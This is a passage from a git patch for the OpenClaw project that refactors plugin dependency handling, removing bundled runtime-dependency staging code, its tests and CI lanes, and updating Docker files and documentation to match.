From ed8f50f240a8efdc7d1bea416a03218d8219c92a Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 1 May 2026 21:32:22 +0100 Subject: [PATCH] refactor: simplify plugin dependency handling Simplify plugin installation and runtime loading around package-manager-owned dependencies, with Jiti reserved for local/TS fallback paths. Also scans npm plugin install roots so hoisted transitive dependencies are covered by dependency denylist and node_modules symlink checks. --- ...odeql-plugin-boundary-critical-quality.yml | 3 +- ...lugin-trust-boundary-critical-security.yml | 3 +- .github/workflows/ci.yml | 3 - .github/workflows/install-smoke.yml | 6 - .../openclaw-live-and-e2e-checks-reusable.yml | 15 - .github/workflows/openclaw-release-checks.yml | 2 +- .github/workflows/package-acceptance.yml | 4 +- Dockerfile | 9 +- docker-compose.yml | 7 - docs/channels/qqbot.md | 11 +- docs/ci.md | 22 +- docs/cli/configure.md | 2 +- docs/cli/doctor.md | 2 +- docs/cli/gateway.md | 2 +- docs/cli/infer.md | 4 +- docs/cli/onboard.md | 4 +- docs/cli/plugins.md | 29 +- docs/cli/update.md | 2 +- docs/concepts/memory-search.md | 6 +- docs/gateway/doctor.md | 6 +- docs/gateway/troubleshooting.md | 2 +- docs/help/testing-live.md | 4 +- docs/help/testing.md | 34 +- docs/install/docker-vm-runtime.md | 26 +- docs/install/docker.md | 30 +- docs/install/updating.md | 24 +- docs/plugins/architecture-internals.md | 3 +- docs/plugins/bundles.md | 13 +- docs/plugins/codex-harness.md | 9 +- docs/plugins/dependency-resolution.md | 251 +- docs/plugins/memory-lancedb.md | 6 +- docs/plugins/sdk-overview.md | 4 +- docs/plugins/sdk-setup.md | 6 +- docs/reference/RELEASING.md | 26 +- docs/reference/full-release-validation.md | 25 +- docs/reference/memory-config.md | 2 +- docs/reference/test.md | 4 +- docs/tools/acp-agents.md | 4 +- docs/tools/browser-control.md | 8 +- docs/tools/diffs.md | 5 + docs/tools/plugin.md | 25 +- extensions/acpx/package.json | 5 +- extensions/acpx/src/codex-auth-bridge.test.ts | 6 +- extensions/acpx/src/codex-auth-bridge.ts | 2 +- extensions/acpx/src/manifest.test.ts | 8 +- extensions/amazon-bedrock-mantle/package.json | 3 - extensions/amazon-bedrock/package.json | 3 - extensions/anthropic-vertex/package.json | 3 - extensions/anthropic/package.json | 3 - extensions/bonjour/package.json | 5 +- .../src/browser/routes/agent.shared.ts | 2 +- extensions/codex/package.json | 5 +- .../codex/src/app-server/managed-binary.ts | 2 +- extensions/codex/src/manifest.test.ts | 8 +- extensions/diffs/openclaw.plugin.json | 2 +- extensions/diffs/package.json | 24 +- extensions/diffs/src/manifest.test.ts | 8 +- extensions/discord/package.json | 3 - extensions/feishu/package.json | 3 - extensions/file-transfer/package.json | 5 +- extensions/google/package.json | 3 - extensions/googlechat/package.json | 3 - extensions/matrix/package.json | 3 - extensions/matrix/src/manifest.test.ts | 8 +- .../media-understanding-core/package.json | 6 +- extensions/memory-core/openclaw.plugin.json | 3 - extensions/msteams/package.json | 3 - extensions/nostr/package.json | 3 - extensions/openai/native-web-search.ts | 4 +- extensions/openai/openclaw.plugin.test.ts | 8 +- extensions/openai/package.json | 3 - extensions/qa-lab/src/gateway-child.test.ts | 6 +- extensions/qqbot/package.json | 2 +- extensions/slack/package.json | 3 - extensions/telegram/package.json | 3 - extensions/tokenjuice/manifest.test.ts | 8 +- extensions/tokenjuice/package.json | 5 +- extensions/webhooks/package.json | 3 - extensions/whatsapp/package.json | 3 - knip.config.ts | 2 +- package.json | 48 +- pnpm-lock.yaml | 6 +- scripts/ci-changed-scope.mjs | 2 +- scripts/clawdock/README.md | 3 +- scripts/copy-bundled-plugin-metadata.mjs | 3 +- scripts/docker/cleanup-smoke/Dockerfile | 1 - .../bundled-channel-runtime-deps-docker.sh | 51 - .../bundled-channel-runtime-deps-runner.sh | 83 - .../bundled-channel/assert-channel-status.mjs | 22 - .../assert-no-staged-manifest-spec.mjs | 44 - .../bundled-channel/assert-update-result.mjs | 26 - scripts/e2e/lib/bundled-channel/channel.sh | 224 - scripts/e2e/lib/bundled-channel/common.sh | 137 - .../lib/bundled-channel/disabled-config.sh | 63 - .../bundled-channel/guided-whatsapp-setup.mjs | 85 - .../e2e/lib/bundled-channel/load-failure.sh | 34 - .../e2e/lib/bundled-channel/loader-probe.mjs | 121 - .../package-version-from-tgz.mjs | 6 - scripts/e2e/lib/bundled-channel/root-owned.sh | 124 - .../e2e/lib/bundled-channel/setup-entry.sh | 67 - scripts/e2e/lib/bundled-channel/update.sh | 178 - .../e2e/lib/bundled-channel/write-config.mjs | 190 - .../write-load-failure-fixture.mjs | 42 - .../runtime-smoke.mjs | 16 +- .../bundled-plugin-install-uninstall/sweep.sh | 4 - scripts/e2e/lib/gateway-network/client.mjs | 115 +- .../lib/kitchen-sink-plugin/assertions.mjs | 2 +- scripts/e2e/lib/plugins/assertions.mjs | 7 +- .../e2e/lib/upgrade-survivor/assertions.mjs | 18 +- .../lib/upgrade-survivor/probe-gateway.mjs | 72 +- scripts/e2e/lib/upgrade-survivor/run.sh | 4 +- .../e2e/npm-onboard-channel-agent-docker.sh | 2 +- scripts/e2e/npm-telegram-live-docker.sh | 6 - scripts/e2e/parallels/macos-discord.ts | 2 +- scripts/e2e/parallels/macos-smoke.ts | 1 - scripts/e2e/parallels/npm-update-smoke.ts | 1 - scripts/e2e/parallels/package-artifact.ts | 4 - .../bundled-plugin-build-entries-types.d.ts | 3 - scripts/lib/bundled-plugin-build-entries.mjs | 24 - .../bundled-plugin-root-runtime-mirrors.mjs | 219 +- scripts/lib/bundled-runtime-deps-install.mjs | 81 - .../lib/bundled-runtime-deps-materialize.mjs | 212 - .../lib/bundled-runtime-deps-package-tree.mjs | 272 - scripts/lib/bundled-runtime-deps-prune.mjs | 198 - .../lib/bundled-runtime-deps-stage-state.mjs | 235 - scripts/lib/bundled-runtime-deps-stamp.mjs | 76 - scripts/lib/dependency-ownership.json | 10 +- scripts/lib/docker-e2e-plan.mjs | 1 - scripts/lib/docker-e2e-scenarios.mjs | 92 - .../lib/optional-bundled-clusters-types.d.ts | 1 + scripts/lib/optional-bundled-clusters.mjs | 7 + scripts/lib/plugin-prerelease-test-plan.mjs | 8 +- scripts/openclaw-cross-os-release-checks.ts | 22 +- scripts/openclaw-npm-postpublish-verify.ts | 49 - scripts/openclaw-npm-release-check.ts | 1 - scripts/postinstall-bundled-plugins.mjs | 75 +- scripts/release-check.ts | 172 +- scripts/root-dependency-ownership-audit.mjs | 58 +- scripts/run-node.mjs | 1 - scripts/runtime-postbuild.mjs | 2 - scripts/stage-bundled-plugin-runtime-deps.mjs | 461 -- scripts/stage-bundled-plugin-runtime.mjs | 46 - scripts/test-built-bundled-runtime-deps.mjs | 252 - scripts/tsdown-build.mjs | 90 - src/agents/runtime-plugins.test.ts | 3 - src/agents/runtime-plugins.ts | 1 - .../bundled-channel-catalog-read.test.ts | 36 +- src/channels/bundled-channel-catalog-read.ts | 17 +- src/channels/ids.test.ts | 18 +- .../plugins/bundled.shape-guard.test.ts | 204 +- src/channels/plugins/bundled.ts | 35 +- src/cli/command-bootstrap.test.ts | 5 +- src/cli/command-bootstrap.ts | 5 - src/cli/command-catalog.ts | 11 +- src/cli/command-execution-startup.test.ts | 6 +- src/cli/command-path-policy.test.ts | 8 +- src/cli/command-startup-policy.test.ts | 4 +- src/cli/daemon-cli/restart-health.test.ts | 8 +- src/cli/gateway-cli/lifecycle.runtime.ts | 4 - src/cli/gateway-cli/run-loop.test.ts | 52 - src/cli/gateway-cli/run-loop.ts | 16 +- src/cli/plugin-registry-loader.test.ts | 4 +- src/cli/plugin-registry-loader.ts | 5 - src/cli/plugins-cli.ts | 22 - src/cli/plugins-deps-command.test.ts | 266 - src/cli/plugins-deps-command.ts | 195 - src/cli/program/preaction.test.ts | 2 - src/cli/route.test.ts | 2 - src/cli/update-cli.test.ts | 4 +- src/commands/channel-setup/plugin-install.ts | 1 - src/commands/configure.wizard.test.ts | 27 - src/commands/configure.wizard.ts | 2 - ...doctor-bundled-plugin-runtime-deps.test.ts | 1078 ---- .../doctor-bundled-plugin-runtime-deps.ts | 159 - src/commands/doctor-config-flow.ts | 11 - src/commands/doctor.e2e-harness.ts | 4 - src/commands/doctor/repair-sequencing.ts | 19 + .../missing-configured-plugin-install.test.ts | 176 + .../missing-configured-plugin-install.ts | 225 + .../shared/plugin-dependency-cleanup.test.ts | 75 + .../shared/plugin-dependency-cleanup.ts | 129 + src/commands/health.snapshot.test.ts | 4 +- .../onboard-non-interactive.gateway.test.ts | 16 - src/commands/onboard-non-interactive/local.ts | 2 - .../onboard-non-interactive/local/output.ts | 6 +- src/commands/post-config-runtime-deps.test.ts | 166 - src/commands/post-config-runtime-deps.ts | 135 - src/config/doc-baseline.integration.test.ts | 2 +- src/docker-setup.e2e.test.ts | 12 +- src/dockerfile.test.ts | 5 - src/flows/doctor-health-contributions.test.ts | 12 - src/flows/doctor-health-contributions.ts | 16 - src/gateway/server-plugin-bootstrap.ts | 7 - src/gateway/server-plugins.ts | 7 - src/gateway/server-reload-handlers.ts | 52 - src/gateway/server-startup-plugins.test.ts | 249 +- src/gateway/server-startup-plugins.ts | 149 - src/gateway/server.impl.ts | 7 +- src/gateway/server.reload.test.ts | 81 - src/gateway/server/readiness.test.ts | 34 +- src/gateway/server/readiness.ts | 4 + src/infra/package-dist-inventory.test.ts | 52 +- src/infra/package-dist-inventory.ts | 16 +- src/infra/run-node.test.ts | 4 +- src/infra/tsdown-config.test.ts | 35 +- src/plugin-sdk/channel-entry-contract.test.ts | 9 +- src/plugin-sdk/channel-entry-contract.ts | 22 +- src/plugin-sdk/facade-loader.test.ts | 174 +- src/plugin-sdk/facade-loader.ts | 38 +- .../test-helpers/package-manifest-contract.ts | 19 - src/plugins/bundled-plugin-metadata.test.ts | 1 - .../bundled-public-surface-runtime-root.ts | 34 +- src/plugins/bundled-runtime-deps-activity.ts | 98 - .../bundled-runtime-deps-drift.test.ts | 222 - src/plugins/bundled-runtime-deps-install.ts | 406 -- .../bundled-runtime-deps-jiti-aliases.test.ts | 200 - .../bundled-runtime-deps-jiti-aliases.ts | 228 - src/plugins/bundled-runtime-deps-json.ts | 95 - src/plugins/bundled-runtime-deps-lock.ts | 310 -- .../bundled-runtime-deps-materialization.ts | 383 -- .../bundled-runtime-deps-package-manager.ts | 175 - src/plugins/bundled-runtime-deps-roots.ts | 475 -- src/plugins/bundled-runtime-deps-selection.ts | 801 --- src/plugins/bundled-runtime-deps-specs.ts | 120 - src/plugins/bundled-runtime-deps.test.ts | 4886 ----------------- src/plugins/bundled-runtime-deps.ts | 662 --- .../bundled-runtime-dist-mirror-cache.ts | 52 - src/plugins/bundled-runtime-mirror.test.ts | 142 - src/plugins/bundled-runtime-mirror.ts | 368 -- src/plugins/bundled-runtime-root.test.ts | 756 --- src/plugins/bundled-runtime-root.ts | 546 -- src/plugins/bundled-runtime-staging.test.ts | 103 - src/plugins/bundled-runtime-staging.ts | 92 - .../capability-provider-runtime.test.ts | 14 +- src/plugins/capability-provider-runtime.ts | 11 +- .../package-manifest.contract.test.ts | 16 +- ...in-sdk-package-contract-guardrails.test.ts | 2 +- src/plugins/discovery.ts | 41 + src/plugins/git-install.test.ts | 33 +- src/plugins/git-install.ts | 58 +- src/plugins/install-paths.ts | 14 + src/plugins/install.npm-spec.test.ts | 450 +- src/plugins/install.path.test.ts | 15 +- src/plugins/install.test.ts | 121 +- src/plugins/install.ts | 416 +- .../installed-plugin-index-registry.ts | 6 +- src/plugins/installed-plugin-index.test.ts | 39 + src/plugins/installed-plugin-index.ts | 10 +- src/plugins/loader.test-fixtures.ts | 6 - src/plugins/loader.test.ts | 1788 +----- src/plugins/loader.ts | 111 +- src/plugins/manifest-registry.ts | 19 +- src/plugins/plugin-sdk-dist-alias.ts | 60 + src/plugins/provider-hook-runtime.ts | 6 - src/plugins/provider-public-artifacts.test.ts | 83 +- src/plugins/provider-runtime.test.ts | 3 +- src/plugins/provider-runtime.ts | 2 - src/plugins/providers.runtime.ts | 2 - src/plugins/public-surface-loader.test.ts | 144 +- src/plugins/public-surface-loader.ts | 7 + .../runtime-plugin-boundary.whatsapp.test.ts | 78 - .../runtime/runtime-plugin-boundary.ts | 12 +- .../runtime/runtime-registry-loader.test.ts | 1 - .../runtime/runtime-registry-loader.ts | 2 - src/plugins/semver.runtime.ts | 26 - .../stage-bundled-plugin-runtime-deps.test.ts | 628 --- .../stage-bundled-plugin-runtime.test.ts | 7 +- src/plugins/status.ts | 1 - .../bundled-runtime-deps-fixtures.ts | 72 - src/plugins/tools.optional.test.ts | 1 - src/plugins/tools.ts | 1 - src/plugins/uninstall.test.ts | 37 + src/plugins/uninstall.ts | 37 +- src/scripts/ci-changed-scope.test.ts | 18 - .../npm-spec-install-test-helpers.ts | 36 + src/wizard/setup.test.ts | 46 - src/wizard/setup.ts | 2 - test/openclaw-npm-postpublish-verify.test.ts | 282 +- test/openclaw-npm-release-check.test.ts | 1 - test/release-check.test.ts | 323 +- .../bundled-plugin-build-entries.test.ts | 8 + ...bundled-plugin-staged-runtime-deps.test.ts | 81 - .../check-gateway-watch-regression.test.ts | 2 +- test/scripts/docker-build-helper.test.ts | 2 - test/scripts/docker-e2e-plan.test.ts | 104 +- .../openclaw-cross-os-release-checks.test.ts | 16 +- .../package-acceptance-workflow.test.ts | 3 +- test/scripts/parallels-smoke-model.test.ts | 2 +- .../plugin-prerelease-test-plan.test.ts | 6 +- .../postinstall-bundled-plugins.test.ts | 152 - .../root-dependency-ownership-audit.test.ts | 63 +- .../stage-bundled-plugin-runtime-deps.test.ts | 1706 ------ test/scripts/tsdown-build.test.ts | 59 +- tsdown.config.ts | 78 +- 294 files changed, 2562 insertions(+), 25454 deletions(-) delete mode 100644 scripts/e2e/bundled-channel-runtime-deps-docker.sh delete mode 100644 scripts/e2e/lib/bundled-channel-runtime-deps-runner.sh delete mode 100644 scripts/e2e/lib/bundled-channel/assert-channel-status.mjs delete mode 100644 scripts/e2e/lib/bundled-channel/assert-no-staged-manifest-spec.mjs delete mode 100644 scripts/e2e/lib/bundled-channel/assert-update-result.mjs delete mode 100644 scripts/e2e/lib/bundled-channel/channel.sh delete mode 100644 scripts/e2e/lib/bundled-channel/common.sh delete mode 100644 scripts/e2e/lib/bundled-channel/disabled-config.sh delete mode 100644 scripts/e2e/lib/bundled-channel/guided-whatsapp-setup.mjs delete mode 100644 scripts/e2e/lib/bundled-channel/load-failure.sh delete mode 100644 scripts/e2e/lib/bundled-channel/loader-probe.mjs delete mode 100644 scripts/e2e/lib/bundled-channel/package-version-from-tgz.mjs delete mode 100644 scripts/e2e/lib/bundled-channel/root-owned.sh delete mode 100644 scripts/e2e/lib/bundled-channel/setup-entry.sh delete mode 100644 scripts/e2e/lib/bundled-channel/update.sh delete mode 100644 scripts/e2e/lib/bundled-channel/write-config.mjs delete mode 100644 scripts/e2e/lib/bundled-channel/write-load-failure-fixture.mjs delete mode 100644 scripts/lib/bundled-runtime-deps-install.mjs delete mode 100644 scripts/lib/bundled-runtime-deps-materialize.mjs delete mode 100644 scripts/lib/bundled-runtime-deps-package-tree.mjs delete mode 100644 scripts/lib/bundled-runtime-deps-prune.mjs delete mode 100644 scripts/lib/bundled-runtime-deps-stage-state.mjs delete mode 100644 scripts/lib/bundled-runtime-deps-stamp.mjs delete mode 100644 scripts/stage-bundled-plugin-runtime-deps.mjs delete mode 100644 scripts/test-built-bundled-runtime-deps.mjs delete mode 100644 src/cli/plugins-deps-command.test.ts delete mode 100644 src/cli/plugins-deps-command.ts delete mode 100644 src/commands/doctor-bundled-plugin-runtime-deps.test.ts delete mode 100644 src/commands/doctor-bundled-plugin-runtime-deps.ts create mode 100644 src/commands/doctor/shared/missing-configured-plugin-install.test.ts create mode 100644 src/commands/doctor/shared/missing-configured-plugin-install.ts create mode 100644 src/commands/doctor/shared/plugin-dependency-cleanup.test.ts create mode 100644 src/commands/doctor/shared/plugin-dependency-cleanup.ts delete mode 100644 src/commands/post-config-runtime-deps.test.ts delete mode 100644 src/commands/post-config-runtime-deps.ts delete mode 100644 src/plugins/bundled-runtime-deps-activity.ts delete mode 100644 src/plugins/bundled-runtime-deps-drift.test.ts delete mode 100644 src/plugins/bundled-runtime-deps-install.ts delete mode 100644 src/plugins/bundled-runtime-deps-jiti-aliases.test.ts delete mode 100644 src/plugins/bundled-runtime-deps-jiti-aliases.ts delete mode 100644 src/plugins/bundled-runtime-deps-json.ts delete mode 100644 src/plugins/bundled-runtime-deps-lock.ts delete mode 100644 src/plugins/bundled-runtime-deps-materialization.ts delete mode 100644 src/plugins/bundled-runtime-deps-package-manager.ts delete mode 100644 src/plugins/bundled-runtime-deps-roots.ts delete mode 100644 src/plugins/bundled-runtime-deps-selection.ts delete mode 100644 src/plugins/bundled-runtime-deps-specs.ts delete mode 100644 src/plugins/bundled-runtime-deps.test.ts delete mode 100644 src/plugins/bundled-runtime-deps.ts delete mode 100644 src/plugins/bundled-runtime-dist-mirror-cache.ts delete mode 100644 src/plugins/bundled-runtime-mirror.test.ts delete mode 100644 src/plugins/bundled-runtime-mirror.ts delete mode 100644 src/plugins/bundled-runtime-root.test.ts delete mode 100644 src/plugins/bundled-runtime-root.ts delete mode 100644 src/plugins/bundled-runtime-staging.test.ts delete mode 100644 src/plugins/bundled-runtime-staging.ts create mode 100644 src/plugins/plugin-sdk-dist-alias.ts delete mode 100644 src/plugins/semver.runtime.ts delete mode 100644 src/plugins/stage-bundled-plugin-runtime-deps.test.ts delete mode 100644 src/plugins/test-helpers/bundled-runtime-deps-fixtures.ts delete mode 100644 test/scripts/bundled-plugin-staged-runtime-deps.test.ts delete mode 100644 test/scripts/stage-bundled-plugin-runtime-deps.test.ts diff --git a/.github/codeql/codeql-plugin-boundary-critical-quality.yml b/.github/codeql/codeql-plugin-boundary-critical-quality.yml index 0c97da8f67f..f6bb7b7b5c2 100644 --- a/.github/codeql/codeql-plugin-boundary-critical-quality.yml +++ b/.github/codeql/codeql-plugin-boundary-critical-quality.yml @@ -20,8 +20,7 @@ paths: - src/plugins/bundled-dir.ts - src/plugins/bundled-plugin-metadata.ts - src/plugins/bundled-public-surface-runtime-root.ts - - src/plugins/bundled-runtime-deps.ts - - src/plugins/bundled-runtime-root.ts + - src/plugins/plugin-sdk-dist-alias.ts - src/plugins/captured-registration.ts - src/plugins/config-activation-shared.ts - src/plugins/config-contracts.ts diff --git a/.github/codeql/codeql-plugin-trust-boundary-critical-security.yml b/.github/codeql/codeql-plugin-trust-boundary-critical-security.yml index 44fb2eafcb4..8adb919c08a 100644 --- a/.github/codeql/codeql-plugin-trust-boundary-critical-security.yml +++ b/.github/codeql/codeql-plugin-trust-boundary-critical-security.yml @@ -25,8 +25,7 @@ paths: - src/plugins/bundled-dir.ts - src/plugins/bundled-plugin-metadata.ts - src/plugins/bundled-plugin-scan.ts - - src/plugins/bundled-runtime-deps*.ts - - src/plugins/bundled-runtime-root.ts + - src/plugins/plugin-sdk-dist-alias.ts - src/plugins/cli-registry-loader.ts - src/plugins/config-activation-shared.ts - src/plugins/config-contracts.ts diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4e2c9109106..c37402bea4e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -564,9 +564,6 @@ jobs: - name: Smoke test built bundled plugin singleton run: pnpm test:build:singleton - - name: Smoke test built bundled runtime deps - run: pnpm test:build:bundled-runtime-deps - - name: Check CLI startup memory run: pnpm test:startup:memory diff --git a/.github/workflows/install-smoke.yml b/.github/workflows/install-smoke.yml index f8ef9ba6ff0..8869756f77f 100644 --- a/.github/workflows/install-smoke.yml +++ b/.github/workflows/install-smoke.yml @@ -510,9 +510,3 @@ jobs: with: install-bun: "false" install-deps: "true" - - - name: Run fast bundled plugin Docker E2E - env: - OPENCLAW_BUNDLED_CHANNEL_DEPS_E2E_IMAGE: openclaw-bundled-channel-fast:local - OPENCLAW_BUNDLED_CHANNEL_DOCKER_RUN_TIMEOUT: 90s - run: timeout 480s pnpm test:docker:bundled-channel-deps:fast diff --git a/.github/workflows/openclaw-live-and-e2e-checks-reusable.yml b/.github/workflows/openclaw-live-and-e2e-checks-reusable.yml index c0a43f227b9..1700ce173fc 100644 --- a/.github/workflows/openclaw-live-and-e2e-checks-reusable.yml +++ b/.github/workflows/openclaw-live-and-e2e-checks-reusable.yml @@ -646,21 +646,6 @@ jobs: - chunk_id: plugins-runtime-install-h label: plugins/runtime install H timeout_minutes: 120 - - chunk_id: bundled-channels-core - label: bundled channels core - timeout_minutes: 90 - - chunk_id: bundled-channels-update-a - label: bundled channels update A - timeout_minutes: 45 - - chunk_id: bundled-channels-update-discord - label: bundled channels update Discord - timeout_minutes: 30 - - chunk_id: bundled-channels-update-b - label: bundled channels update B - timeout_minutes: 45 - - chunk_id: bundled-channels-contracts - label: bundled channels contracts - timeout_minutes: 90 env: OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} OPENAI_BASE_URL: ${{ secrets.OPENAI_BASE_URL }} diff --git a/.github/workflows/openclaw-release-checks.yml b/.github/workflows/openclaw-release-checks.yml index 48cf8fd94a1..736b3601c81 100644 --- a/.github/workflows/openclaw-release-checks.yml +++ b/.github/workflows/openclaw-release-checks.yml @@ -440,7 +440,7 @@ jobs: artifact_name: ${{ needs.prepare_release_package.outputs.artifact_name }} package_sha256: ${{ needs.prepare_release_package.outputs.package_sha256 }} suite_profile: custom - docker_lanes: bundled-channel-deps-compat plugins-offline + docker_lanes: plugins-offline plugin-update telegram_mode: mock-openai telegram_scenarios: telegram-help-command,telegram-commands-command,telegram-tools-compact-command,telegram-whoami-command,telegram-context-command,telegram-mention-gating secrets: diff --git a/.github/workflows/package-acceptance.yml b/.github/workflows/package-acceptance.yml index 2c8e6878930..53b231b9293 100644 --- a/.github/workflows/package-acceptance.yml +++ b/.github/workflows/package-acceptance.yml @@ -386,10 +386,10 @@ jobs: docker_lanes="npm-onboard-channel-agent gateway-network config-reload" ;; package) - docker_lanes="npm-onboard-channel-agent doctor-switch update-channel-switch upgrade-survivor published-upgrade-survivor bundled-channel-deps-compat plugins-offline plugin-update" + docker_lanes="npm-onboard-channel-agent doctor-switch update-channel-switch upgrade-survivor published-upgrade-survivor plugins-offline plugin-update" ;; product) - docker_lanes="npm-onboard-channel-agent doctor-switch update-channel-switch upgrade-survivor published-upgrade-survivor bundled-channel-deps-compat plugins plugin-update mcp-channels cron-mcp-cleanup openai-web-search-minimal openwebui" + docker_lanes="npm-onboard-channel-agent doctor-switch update-channel-switch upgrade-survivor published-upgrade-survivor plugins plugin-update mcp-channels cron-mcp-cleanup openai-web-search-minimal openwebui" include_openwebui=true ;; full) diff --git a/Dockerfile b/Dockerfile index d548ed174ff..37971e6439e 100644 --- a/Dockerfile +++ b/Dockerfile @@ -63,7 +63,6 @@ COPY openclaw.mjs ./ COPY ui/package.json ./ui/package.json COPY patches ./patches COPY scripts/postinstall-bundled-plugins.mjs scripts/preinstall-package-manager-warning.mjs scripts/npm-runner.mjs scripts/windows-cmd-helpers.mjs ./scripts/ -COPY scripts/lib/bundled-runtime-deps-install.mjs ./scripts/lib/bundled-runtime-deps-install.mjs COPY scripts/lib/package-dist-imports.mjs ./scripts/lib/package-dist-imports.mjs COPY --from=ext-deps /out/ ./${OPENCLAW_BUNDLED_PLUGIN_DIR}/ @@ -268,12 +267,10 @@ RUN --mount=type=cache,id=openclaw-bookworm-apt-cache,target=/var/cache/apt,shar RUN ln -sf /app/openclaw.mjs /usr/local/bin/openclaw \ && chmod 755 /app/openclaw.mjs -# Pre-create the default state and runtime-deps dirs so first-run Docker named -# volumes mounted here inherit node ownership instead of root-owned state. +# Pre-create the default state dir so first-run Docker named volumes mounted +# here inherit node ownership instead of root-owned state. RUN install -d -m 0700 -o node -g node /home/node/.openclaw && \ - install -d -m 0700 -o node -g node /var/lib/openclaw/plugin-runtime-deps && \ - stat -c '%U:%G %a' /home/node/.openclaw | grep -qx 'node:node 700' && \ - stat -c '%U:%G %a' /var/lib/openclaw/plugin-runtime-deps | grep -qx 'node:node 700' + stat -c '%U:%G %a' /home/node/.openclaw | grep -qx 'node:node 700' ENV NODE_ENV=production diff --git a/docker-compose.yml b/docker-compose.yml index 2bf92b97924..6ba177f90d5 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -23,12 +23,10 @@ services: CLAUDE_AI_SESSION_KEY: ${CLAUDE_AI_SESSION_KEY:-} CLAUDE_WEB_SESSION_KEY: ${CLAUDE_WEB_SESSION_KEY:-} CLAUDE_WEB_COOKIE: ${CLAUDE_WEB_COOKIE:-} - OPENCLAW_PLUGIN_STAGE_DIR: /var/lib/openclaw/plugin-runtime-deps TZ: ${OPENCLAW_TZ:-UTC} volumes: - ${OPENCLAW_CONFIG_DIR:-${HOME:-/tmp}/.openclaw}:/home/node/.openclaw - ${OPENCLAW_WORKSPACE_DIR:-${HOME:-/tmp}/.openclaw/workspace}:/home/node/.openclaw/workspace - - openclaw-plugin-runtime-deps:/var/lib/openclaw/plugin-runtime-deps ## Uncomment the lines below to enable sandbox isolation ## (agents.defaults.sandbox). Requires Docker CLI in the image ## (build with --build-arg OPENCLAW_INSTALL_DOCKER_CLI=1) or use @@ -87,18 +85,13 @@ services: CLAUDE_AI_SESSION_KEY: ${CLAUDE_AI_SESSION_KEY:-} CLAUDE_WEB_SESSION_KEY: ${CLAUDE_WEB_SESSION_KEY:-} CLAUDE_WEB_COOKIE: ${CLAUDE_WEB_COOKIE:-} - OPENCLAW_PLUGIN_STAGE_DIR: /var/lib/openclaw/plugin-runtime-deps TZ: ${OPENCLAW_TZ:-UTC} volumes: - ${OPENCLAW_CONFIG_DIR:-${HOME:-/tmp}/.openclaw}:/home/node/.openclaw - ${OPENCLAW_WORKSPACE_DIR:-${HOME:-/tmp}/.openclaw/workspace}:/home/node/.openclaw/workspace - - openclaw-plugin-runtime-deps:/var/lib/openclaw/plugin-runtime-deps stdin_open: true tty: true init: true entrypoint: ["node", "dist/index.js"] depends_on: - openclaw-gateway - -volumes: - openclaw-plugin-runtime-deps: diff --git a/docs/channels/qqbot.md b/docs/channels/qqbot.md index 3c4a4d4722d..b25c7e1433e 100644 --- a/docs/channels/qqbot.md +++ b/docs/channels/qqbot.md @@ -11,13 +11,16 @@ QQ Bot connects to OpenClaw via the official QQ Bot API (WebSocket gateway). The plugin supports C2C private chat, group @messages, and guild channel messages with rich media (images, voice, video, files). -Status: bundled plugin. Direct messages, group chats, guild channels, and +Status: downloadable plugin. Direct messages, group chats, guild channels, and media are supported. Reactions and threads are not supported. -## Bundled plugin +## Install -Current OpenClaw releases bundle QQ Bot, so normal packaged builds do not need -a separate `openclaw plugins install` step. +Install QQ Bot before setup: + +```bash +openclaw plugins install @openclaw/qqbot +``` ## Setup diff --git a/docs/ci.md b/docs/ci.md index 5cb2e35d66c..ca0312e006f 100644 --- a/docs/ci.md +++ b/docs/ci.md @@ -181,14 +181,14 @@ Keep `workflow_ref` and `package_ref` separate. `workflow_ref` is the trusted wo ### Suite profiles - `smoke` — `npm-onboard-channel-agent`, `gateway-network`, `config-reload` -- `package` — `npm-onboard-channel-agent`, `doctor-switch`, `update-channel-switch`, `upgrade-survivor`, `published-upgrade-survivor`, `bundled-channel-deps-compat`, `plugins-offline`, `plugin-update` +- `package` — `npm-onboard-channel-agent`, `doctor-switch`, `update-channel-switch`, `upgrade-survivor`, `published-upgrade-survivor`, `plugins-offline`, `plugin-update` - `product` — `package` plus `mcp-channels`, `cron-mcp-cleanup`, `openai-web-search-minimal`, `openwebui` - `full` — full Docker release-path chunks with OpenWebUI - `custom` — exact `docker_lanes`; required when `suite_profile=custom` The `package` profile uses offline plugin coverage so published-package validation is not gated on live ClawHub availability. The optional Telegram lane reuses the `package-under-test` artifact in `NPM Telegram Beta E2E`, with the published npm spec path kept for standalone dispatches. -Release checks call Package Acceptance with `source=ref`, `package_ref=`, `workflow_ref=`, `suite_profile=custom`, `docker_lanes='bundled-channel-deps-compat plugins-offline'`, and `telegram_mode=mock-openai`. Release-path Docker chunks cover the overlapping package/update/plugin lanes; Package Acceptance keeps the artifact-native bundled-channel compat, offline plugin, and Telegram proof against the same resolved package tarball. Cross-OS release checks still cover OS-specific onboarding, installer, and platform behavior; package/update product validation should start with Package Acceptance. The `published-upgrade-survivor` Docker lane validates one published package baseline per run. In Package Acceptance, the resolved `package-under-test` tarball is always the candidate and `published_upgrade_survivor_baseline` selects the fallback published baseline, defaulting to `openclaw@latest`; failed-lane rerun commands preserve that baseline. Set `published_upgrade_survivor_baselines=release-history` to expand the lane across a deduped history matrix: the latest six stable releases, `2026.4.23`, and the latest stable release before `2026-03-15`. Set `published_upgrade_survivor_scenarios=reported-issues` to expand the same baselines across issue-shaped fixtures for Feishu config/runtime-deps, preserved bootstrap/persona files, tilde log paths, and stale versioned runtime-deps roots. Local aggregate runs can pass exact package specs with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPECS`, keep a single lane with `OPENCLAW_UPGRADE_SURVIVOR_BASELINE_SPEC` such as `openclaw@2026.4.15`, or set `OPENCLAW_UPGRADE_SURVIVOR_SCENARIOS` for the scenario matrix. The published lane configures the baseline with a baked `openclaw config set` command recipe, records recipe steps in `summary.json`, and probes `/healthz`, `/readyz`, plus RPC status after Gateway start. The Windows packaged and installer fresh lanes also verify that an installed package can import a browser-control override from a raw absolute Windows path. The OpenAI cross-OS agent-turn smoke defaults to `OPENCLAW_CROSS_OS_OPENAI_MODEL` when set, otherwise `openai/gpt-5.4-mini`, so the install and gateway proof stays fast and deterministic. +Release checks call Package Acceptance with `source=ref`, `package_ref=`, `workflow_ref=`, `suite_profile=custom`, `docker_lanes='plugins-offline plugin-update'`, and 